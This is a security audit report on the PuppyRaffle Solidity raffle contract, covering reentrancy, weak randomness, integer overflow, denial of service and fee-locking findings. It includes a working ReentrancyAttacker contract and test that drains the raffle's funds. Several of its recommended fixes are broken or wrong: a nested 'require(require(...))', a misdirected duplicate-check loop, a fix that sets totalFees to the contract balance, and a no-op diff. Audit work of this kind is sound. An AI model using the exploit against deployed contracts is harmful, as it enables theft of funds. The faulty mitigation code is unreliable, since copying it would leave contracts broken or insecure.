PuppyRaffle Audit Report

Version 1.0

Cyfe45

December 14, 2024

Protocol Audit Report

Cyfe45

December 14, 2024

Prepared by: Cyfe45

Lead Auditors:

- Cyfe45

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Cyfe45 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by Cyfe45 is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This audit report identifies several critical vulnerabilities and issues in the PuppyRaffle smart contract. The findings range from high-risk security flaws to gas optimizations and informational recommendations.

Key Findings

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	7
Gas	2

Severity	Number of issues found
Total	17

High Risk

1. Reentrancy vulnerability in the refund function, allowing potential draining of contract funds.
2. Weak randomness in winner selection, enabling prediction or manipulation of results.
3. Integer overflow in totalFees, potentially leading to loss of accumulated fees.

Medium Risk

1. Denial of Service (DoS) risk due to inefficient duplicate player check in enterRaffle.
2. Unsafe casting of fees, potentially resulting in fee loss.
3. Winner selection process vulnerable to smart contract wallets without receive functions.
4. ETH mismanagement in withdrawFees, potentially locking funds.

Low Risk and Informational

1. Inconsistent return values in getActivePlayerIndex.
2. Use of outdated Solidity version and non-specific pragma.
3. Missing checks for address(0) in state variable assignments.
4. Lack of constant declarations for unchanging state variables.
5. Absence of events for critical state changes.

Recommendations

1. Implement reentrancy guards and follow the Checks-Effects-Interactions pattern.
2. Use a secure randomness source like Chainlink VRF.
3. Upgrade to Solidity 0.8.0+ to prevent integer overflows.
4. Optimise gas usage, particularly in loops and storage operations.
5. Implement proper error handling and input validation.
6. Follow best practices for smart contract development, including using specific Solidity versions and emitting events for state changes.

Detailed Findings

High Risk

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `puppyRaffle::refund` function does not follow CEI (Checks, Effects Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRafflew::players` players.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Players who has entered the raffle could have a `fallback`/`receive` function that calls `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: An attacker can exploit this vulnerability to drain the contract's funds by triggering reentrant calls within the fallback or receive functions of a malicious contract. This could lead to financial loss and a complete compromise of the contract's integrity.

Proof of Concept: The following test demonstrates how an attacker can exploit this vulnerability to repeatedly withdraw funds via a reentrant call:

PoS

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // Attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker contract balance:",
            startingAttackContractBalance);
        console.log("Starting contract balance:",
            startingContractBalance);

        console.log("Ending attacker contract balance:", address(
            attackerContract).balance);
        console.log("Ending contract balance:", address(puppyRaffle).
            balance);
    }
}
```

Contract:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex); // Kicks off the reentrancy
            attack
    }

    function _exploit() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _exploit();
    }

    receive() external payable {
        _exploit();
    }
}
```

Recommended Mitigation: To prevent reentrancy attacks, ensure that the contract update the `puppyRaffle::refund` state, i.e. updating the `players` array, before making external calls. This adheres to the Checks-Effects-Interactions pattern. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

Additional Recommendations:

1. Use OpenZeppelin's `ReentrancyGuard` library to protect against reentrancy attacks.

```
contract PuppyRaffle is ReentrancyGuard {
    .
    .
    .
-    function refund(uint256 playerIndex) public {
+    function refund(uint256 playerIndex) public nonReentrant { ... }
    .
    .
    .
```

2. **Check Return Value of sendValue:** Ensure the success of the sendValue function, and handle potential failures gracefully.

[H-2] Weak randomness in `PuppuRaffle::selectWinner` allows anyone to predict or influence the winne and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values to choose the winner of the raffle themselves.

Note: This additionallyh means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the `rarest` puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept: There are a few attack vectors here:

1. Validators can slightly manipulate the `block.timestamp` and `1block.difficulty` in an effort to result in their index being the winner. See the Solidity blog on prevrando. `block.difficulty` was recently replaced witth prevrando.
2. Users can manipulate thew `msg.sender` value to result in their address being used to generate the winner.
3. Users can revertt their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable randum number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0, integers where subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: The test function, `testTotalFeesOverflow()` in the `PuppyRaffleTest.t.sol` file, demonstrates an overflow vulnerability in the PuppyRaffle contract. Here's a step-by-step explanation:

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearlyh not the intended design of the protocol. At some point, there will be too much `balance` in the contract thast the above `require` will be impossible to hit..

PoS

```
    function testTotalFeesOverflow() public {
        // Set a very high entrance fee
        uint256 highEntranceFee = type(uint64).max;
        PuppyRaffle puppyRaffleHighFee = new PuppyRaffle(
            highEntranceFee,
            feeAddress,
            duration
        );

        // Enter the raffle with 5 players
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            layers[i] = address(uint160(i + 1)); //avoid potential
               issues with address(0)
        }

        // Entert the raffle twice to trigger the opverflow
        puppyRaffleHighFee.enterRaffle{value: highEntranceFee *
           playersNum}(players);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffleHighFee.selectWinner();
        uint256 startingTotalFees = puppyRaffleHighFee.totalFees();
        emit log_named_uint("StartingFees", startingTotalFees);

        puppyRaffleHighFee.enterRaffle{value: highEntranceFee *
           playersNum}(players);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffleHighFee.selectWinner();

        // Extract outputs
        emit log_named_uint("TotalFees", puppyRaffleHighFee.totalFees()
           );
        emit log_named_uint("HighEntranceFee", highEntranceFee);
        // Check if totalFees has overflowed
        assertLt(puppyRaffleHighFee.totalFees(), highEntranceFee);

        // We are also unable to withdraw any fees because of thbe
           require withdrawFee check.
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffleHighFee.withdrawFees();
    }
```

1. Set a high entrance fee:
    - `highEntranceFee` is set to the maximum value of uint64.
    - A new PuppyRaffle contract is created with this high fee.
2. Create an array of players:
    - 89 player addresses are generated and stored in the `players` array.
3. First raffle entry:
    - Enter the raffle with 89 players, paying the high entrance fee.
    - Advance the block timestamp to end the raffle duration.
    - Select a winner for the first raffle.
    - Store the current total fees.
4. Second raffle entry:
    - Repeat the process with the same 89 players.
    - This second entry is intended to trigger the overflow.
5. Check for overflow:
    - Log the final total fees and the high entrance fee.
    - Assert that the total fees are less than the high entrance fee, which should only be true if an overflow occurred.
6. Attempt to withdraw fees:
    - Try to withdraw fees as the fee address.
    - Expect a revert due to active players, demonstrating that the contract is in an inconsistent state.

This test reveals two issues: 1. The `totalFees` variable can overflow, leading to accounting errors. 2. After the overflow, the contract enters a state where fees can't be withdrawn, potentially locking funds.

Recommended Mitigation: There are a few recommended mitigations:

1. Use a newer version of Solidity that does not have integer overflow issues.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.0;
```

Alternatively, if you want to use an older version of Solidity, you can use a library lile OpenZeppelin's `SafeMath` library to handle integer overflows.

2. Use a uint256 instead of a uint64 for totalFees.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium Risk

[M-1] Looping through players array to check for duplicates on `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attacke, incrementing gas costs for tuture entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the players array to check for duplicates. However, the longer the `PuppyRaffle::players` array grows, the higher the gas cost for each iteration of the loop. This can lead to a potential denial of service (DoS) attack, where an attacker can repeatedly call the function with a large number of players, causing the contract to run out of gas and become unusable. Every additional address in the `player` array, is a new iteration of the loop, which will consume more gas.

```
// @audit DoS Attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as the number of players increases, potentially leading to a DoS attack. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first enntrants in the queue.

An attacker might make the `PuyppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~625128 gas - 2nd 100 players: ~18068218 gas

This is more than 3x more expensive for the second 100 palyers.

PoS

Place the following test into `PuppyRaffleTest.t.sol`:

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // check how much gas it costs
        uint256 gasCost = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasCost - gasEnd) * tx.gasprice;
        console.log("Gas costs for the first 100 players: ",
           gasUsedFirst);

        // uint256 playersNum = 100;
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // check how much gas it costs
        uint256 gasSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasSecond - gasEndSecond) * tx.
           gasprice;
        console.log("Gas costs for the second 100 players: ",
           gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(adress => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         //@audit what if the player length is 0?
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < players.length - 1; i++) {
+            for (uint256 j = i + 1; j < players.length; j++) {
+                require(require(addressToRaffleId[newPlayers[i]] !=
    raffleId, "PuppyRaffle: Duplicate player");
+            }
-         for (uint256 i = 0; i < players.length - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }

     .
     .
     .
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

Alternatively, you can use OpenZeppelin's `EnumerableSet` library to check for duplicates.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This an unsafe c ast, and if the `uint156` is larger than `type(uint64).max`, the value will be truncated.

```
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

PoS

```
uint64 myVar = 0;
uint256 fee = type(uint64).max;
// fee will be 18446744073709551615
myVar = myVar + fee + 1
// myVar will be 0
```

Recommended Mitigation: There are a few recommended mitigations:

1. Use a newer version of Solidity that does not have integer overflow issues.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.0;
```

Alternatively, if you want to use an older version of Solidity, you can use a library lile OpenZeppelin's `SafeMath` library to handle integer overflows.

2. Use a uint256 instead of a uint64 for totalFees.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users ccould easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a `fallback` or a `receive` function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a few recommended mitigations:

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended). Using the **Pull over Push** pattern.

[M-4] ETH Mismanagement in `PuppyRaffle::withdrawFees`, potentially locking funds

Description: The `PuppyRaffle::withdrawFees` function mishandles ETH withdrawals by relying on the exact match between the contract's balance (`address(this).balance`) and the `totalFees` variable. However, if ETH is forcibly sent to the contract (e.g., through `selfdestruct` or `transfer` from another contract), this equality check will fail, preventing the function from working. This could cause legitimate withdrawals to fail permanently, leaving fees inaccessible.

Impact: The contract's fee management functionality can break, potentially locking collected fees and rendering them unrecoverable. This affects the contract's ability to distribute funds as intended.

Proof of Concept:

1. Deploy the PuppyRaffle contract and set feeAddress.
2. Simulate fee collection by entering the raffle.
3. Forcefully send ETH to the contract via a selfdestruct operation or a malicious contract's transfer/call.
4. Attempt to call withdrawFees. It will revert due to the balance mismatch:

PoC

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Recommended Mitigation:

```
function withdrawFees() external {
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
     There are currently players active!");
+    require(totalFees > 0, "PuppyRaffle: No fees to withdraw");

```

```
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;

-       (bool success,) = feeAddress.call{value: feesToWithdraw}("");
+       (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

1. Removed the exact balance check:
    - Deleted require(address(this).balance == uint256(totalFees), ...) as it is susceptible to breakage if ETH is forcibly sent to the contract.
    - Replaced it with a simpler check to ensure totalFees > 0, verifying there's something to withdraw.
2. Preserved functionality:
    - The withdrawal process uses only the totalFees amount, ensuring the contract remains secure and behaves as intended regardless of extra ETH in its balance.

This mitigation ensures that withdrawFees operates as intended, even if ETH is forcibly sent to the contract.

Low Risk

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PupppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
```

Impact: A the player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the fiorsdt entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correectly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas Optimisations

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable. If the variable is not being assigned to, it is best to declare it as constant or immutable.

Instances: - `PuppyRaffle::raffleDuration` should be declared as `immutable` - `PuppyRaffle::commonImageUri`, `PuppyRaffle::rareImageUri` and `PuppyRaffle::legendaryImageUri` should be declared as `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is m,ore gas efficient.

```
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest stable version of Solidity for testing.

Please see Slither focumentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 64

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 181

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It;s best to keep the codebase cleanb and follow the checks, effects, interactions pattern (CEI) to avoid any reentrancy attacks.

```
-        (bool success,) = winner.call{value: prizePool}(""); //@audit reentrancy attack should use check effects interactions. Shouldn't minting the NFT take place first?
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

```
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}(""); //@audit reentrancy attack should use check effects interactions. Shouldn't minting the NFT take place first?
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Magic numbers

It can be confusing to see number literals in the codebase, and it's much more readable if the numbers are given a name.

Example:

```
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant PRIZE_PERCENTAGE = 80;
+       uint256 public constant POOL_PRECISION = 100;
.
.
.
-       uint256 prizePool = (totalAmountCollected * 80) / 100;
-       uint256 fee = (totalAmountCollected * 20) / 100;
+       uint256 prizePool = (totalAmountCollected * PRIZE_PERCENTAGE) / POOL_PRECISION;
+       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State changes are missing events

Description: The PuppyRaffle contract has several instances where state changes are missing after critical operations. These omissions can lead to inconsistencies in the contract state and potential vulnerabilities.

Instances:

- In the refund function, the total number of active players is not updated after a refund is processed.
- In the selectWinner function, the totalFees variable is not reset after fees are withdrawn.
- In the withdrawFees function, the contract's balance is not updated after fees are withdrawn.

Impact: These missing state changes could result in:

1. Inaccurate player counts
2. Accumulation of fees over multiple rounds

3. Discrepancies between actual and recorded contract balances

Recommendation: Implement the following state changes:

1. In the refund function, add a counter to track the number of active players and decrement it after a refund.
2. In the selectWinner function, reset the totalFees to zero after withdrawing fees.
3. In the withdrawFees function, update the contract's balance after fee withdrawal.

Example Fix:

```
uint256 public activePlayerCount;

function refund(uint256 playerIndex) public {
    // ... (existing code)
    players[playerIndex] = address(0);
    activePlayerCount--;
    emit RaffleRefunded(playerAddress);
}

function selectWinner() external {
    // ... (existing code)
    delete players;
    activePlayerCount = 0;
    raffleStartTime = block.timestamp;
    previousWinner = winner;
    totalFees = 0;
    // ... (rest of the function)
}

function withdrawFees() external {
    // ... (existing code)
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
    // Update contract balance
    totalFees = address(this).balance;
}
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Dead code should be removed as it clutters the codebase and causing confusion for future developers.